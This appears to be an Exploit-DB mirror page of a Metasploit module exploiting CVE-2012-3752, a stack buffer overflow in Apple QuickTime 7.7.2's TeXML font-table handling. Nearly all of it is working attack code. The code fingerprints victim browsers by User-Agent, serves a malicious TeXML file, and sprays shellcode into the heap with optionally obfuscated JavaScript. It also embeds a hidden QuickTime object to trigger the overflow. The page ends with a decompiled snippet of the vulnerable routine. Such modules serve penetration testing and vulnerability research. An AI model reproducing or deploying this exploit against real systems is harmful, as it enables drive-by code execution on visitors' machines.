Apple QuickTime 7.7.2 – TeXML Style Element font-table Field Stack Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2012-11-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/22905/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = NormalRanking
    
    	include Msf::Exploit::Remote::HttpServer::HTML
    
    	include Msf::Exploit::Remote::BrowserAutopwn
    	autopwn_info({
    		:os_name=> OperatingSystems::WINDOWS,
    		:javascript => true,
    		:rank => NormalRanking
    	})
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Apple QuickTime 7.7.2 TeXML Style Element font-table Field Stack Buffer Overflow',
    			'Description'=> %q{
    					This module exploits a vulnerability found in Apple QuickTime. When handling
    				a TeXML file, it is possible to trigger a stack-based buffer overflow, and then
    				gain arbitrary code execution under the context of the user.This is due to the
    				QuickTime3GPP.gtx component not handling certain Style subfields properly, as the
    				font-table field, which is used to trigger the overflow in this module. Because of
    				QuickTime restrictions when handling font-table fields, only 0x31-0x39 bytes can be
    				used to overflow, so at the moment DEP/ASLR bypass hasn't been provided. The module
    				has been tested successfully on IE6 and IE7 browsers (Windows XP and Vista).
    			},
    			'Author' =>
    				[
    					'Arezou Hosseinzad-Amirkhizi', # Vulnerability Discovery
    					'juan vazquez' # Metasploit Module
    				],
    			'License'=> MSF_LICENSE,
    			'References' =>
    				[
    					[ 'OSVDB', '87087' ],
    					[ 'CVE', '2012-3752' ],
    					[ 'BID', '56557' ],
    					[ 'URL', 'http://support.apple.com/kb/HT5581' ]
    				],
    			'DefaultOptions' =>
    				{
    					'EXITFUNC' => 'process',
    					'InitialAutoRunScript' => 'migrate -f'
    				},
    			'Payload'=>
    				{
    					'Space' => 1000,
    				},
    			'Platform' => 'win',
    
    			'Targets'=>
    				[
    					# Tested with QuickTime 7.7.2
    					[ 'Automatic', {} ],
    					[ 'IE 6 on Windows XP SP3', {} ],
    					[ 'Firefox 3.5 on Windows XP SP3', {} ],
    					[ 'Firefox 3.5.1 on Windows XP SP3', {} ]
    				],
    			'Privileged' => false,
    			'DisclosureDate' => 'Nov 07 2012',
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
    			], self.class)
    	end
    
    	def get_target(agent)
    		#If the user is already specified by the user, we'll just use that
    		return target if target.name != 'Automatic'
    
    		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    
    		browser_name = ""
    		if agent =~ /MSIE/
    			browser_version = agent.scan(/MSIE (\d)/).flatten[0] || ''
    			browser_name = "IE #{browser_version}"
    		elsif agent =~ /Firefox\/3.5$/
    			browser_name = "Firefox 3.5 "
    		elsif agent =~ /Firefox\/3.5.1$/
    			browser_name = "Firefox 3.5.1"
    		elsif agent =~ /Opera\/9/
    			browser_name = "Opera"
    		end
    
    		case nt
    			when '5.1'
    				os_name = 'Windows XP SP3'
    			when '6.0'
    				os_name = 'Windows Vista'
    			when '6.1'
    				os_name = 'Windows 7'
    		end
    
    		targets.each do |t|
    			if (!browser_name.empty? and t.name.include?(browser_name)) and (!nt.empty? and t.name.include?(os_name))
    				print_status("Target selected as: #{t.name}")
    				return t
    			end
    		end
    
    		return nil
    	end
    
    
    	def on_request_uri(client, request)
    
    		return if ((p = regenerate_payload(client)) == nil)
    
    		agent = request.headers['User-Agent']
    		my_target = get_target(agent)
    		# Avoid the attack if no suitable target found
    		if my_target.nil?
    			print_error("Browser not supported, sending 404: #{agent}")
    			send_not_found(cli)
    			return
    		end
    
    		if request.uri =~ /\.3gp/
    			print_status("Sending exploit TEXML (target: #{my_target.name})")
    
    			my_payload = "1" * (1024*16)
    
    			texml = <<-eos
    <?xml version="1.0"?>
    <?quicktime type="application/x-quicktime-texml"?>
    
    <text3GTrack trackWidth="176.0" trackHeight="60.0" layer="1"
    	language="eng" timeScale="600"
    	transform="matrix(1.0, 0.0, 0.0, 0.0, 1.0, 0.0, 1, 0, 1.0)">
    	<sample duration="2400" keyframe="true">
    
    		<description format="tx3g" displayFlags="ScrollIn"
    			horizontalJustification="Left"
    			verticalJustification="Top"
    			backgroundColor="0%, 0%, 0%, 100%">
    
    			<defaultTextBox x="0" y="0" width="176"height="60"/>
    			<fontTable>
    				<font id="1" name="Times"/>
    			</fontTable>
    
    			<sharedStyles>
    			<style id="1">
    				{font-table: #{my_payload}}
    				{font-style:normal}
    				{font-weight: normal}
    				{font-size:10}
    				{line-height: 100%}
    				{text-align: right}
    				{text-decoration: underline}
    				{color: 100%, 100%, 100%, 100%}
    				{backgroundcolor: 100%, 100%, 100%, 100%}
    			</style>
    			</sharedStyles>
    		</description>
    
    		<sampleData scrollDelay="200"
    			highlightColor="25%, 45%, 65%, 100%"
    			targetEncoding="utf8">
    
    			<textBox x="10" y="10" width="156"height="40"/>
    				<text styleID="1">What you need... Metasploit!</text>
    				<highlight startMarker="1" endMarker="2"/>
    				<blink startMarker="3" endMarker="4"/>
    		</sampleData>
    	</sample>
    </text3GTrack>
    			eos
    
    			send_response(client, texml, { 'Content-Type' => "application/x-quicktime-texml" })
    
    		else
    			print_status("Sending initial HTML")
    
    			url =((datastore['SSL']) ? "https://" : "http://")
    			url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
    			url << ":" + datastore['SRVPORT'].to_s
    			url << get_resource
    
    			fname = rand_text_alphanumeric(4)
    
    			#ARCH used by the victim machine
    			arch = Rex::Arch.endian(my_target.arch)
    			nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
    			code = Rex::Text.to_unescape(payload.encoded, arch)
    
    			# Spray puts payload on 0x31313131
    			if my_target.name =~ /IE/
    				spray = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{code}");
    var nops = unescape("#{nops}");
    
    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, 0x800 - code.length);
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
    
    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);
    
    heap_obj.gc();
    for (var i=0; i < 1600; i++) {
    	heap_obj.alloc(block);
    }
    				JS
    
    				#Use heaplib
    				js_spray = heaplib(spray)
    
    				#obfuscate on demand
    				if datastore['OBFUSCATE']
    					js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
    					js_spray.obfuscate
    				end
    			else
    				js_spray = <<-JS
    var shellcode = unescape("#{code}");
    var bigblock = unescape("#{nops}");
    var headersize = 20;
    var slackspace = headersize + shellcode.length;
    while (bigblock.length < slackspace) bigblock += bigblock;
    var fillblock = bigblock.substring(0,slackspace);
    var block = bigblock.substring(0,bigblock.length - slackspace);
    while (block.length + slackspace < 0x40000) block = block + block + fillblock;
    var memory = new Array();
    for (i = 0; i < 750; i++){ memory[i] = block + shellcode }
    				JS
    			end
    
    			content ="<html>"
    			content << <<-JSPRAY
    <head>
    <script>
    #{js_spray}
    </script>
    </head>
    			JSPRAY
    			content << "<body>"
    
    			content << <<-ENDEMBED
    <OBJECT
    CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
    WIDTH="1"
    HEIGHT="1"
    CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
    <PARAM name="SRC"VALUE = "#{url}/#{fname}.3gp">
    <PARAM name="QTSRC"VALUE = "#{url}/#{fname}.3gp">
    <PARAM name="AUTOPLAY" VALUE = "true" >
    <PARAM name="TYPE" VALUE = "video/quicktime">
    <PARAM name="TARGET" VALUE = "myself" >
    <EMBED
    	SRC= "https://www.exploit-db.com/exploits/22905/#{url}/#{fname}.3gp"
    	QTSRC= "#{url}/#{fname}.3gp"
    	TARGET = "myself"
    	WIDTH= "1"
    	HEIGHT = "1"
    	AUTOPLAY = "true"
    	PLUGIN = "quicktimeplugin"
    	TYPE = "video/quicktime"
    	CACHE= "false"
    	PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
    </EMBED>
    </OBJECT>
    				ENDEMBED
    
    			content << "</body></html>"
    
    			send_response(client, content, { 'Content-Type' => "text/html" })
    		end
    	end
    
    end
    
    
    =begin
    * Routine checking only for '1'-'9' chars for the vaules on the vulnerable style fields (font-table, font-size and line-height)
    
    int __fastcall sub_67EED2B0(int a1, int a2)
    {
    int result; // eax@1
    unsigned __int8 v3; // cl@2
    
    for ( result = 0; ; ++result )
    {
    v3 = *(_BYTE *)a2++ - 0x30;
    if ( v3 > 9u )
    break;
    }
    return result;
    }
    =end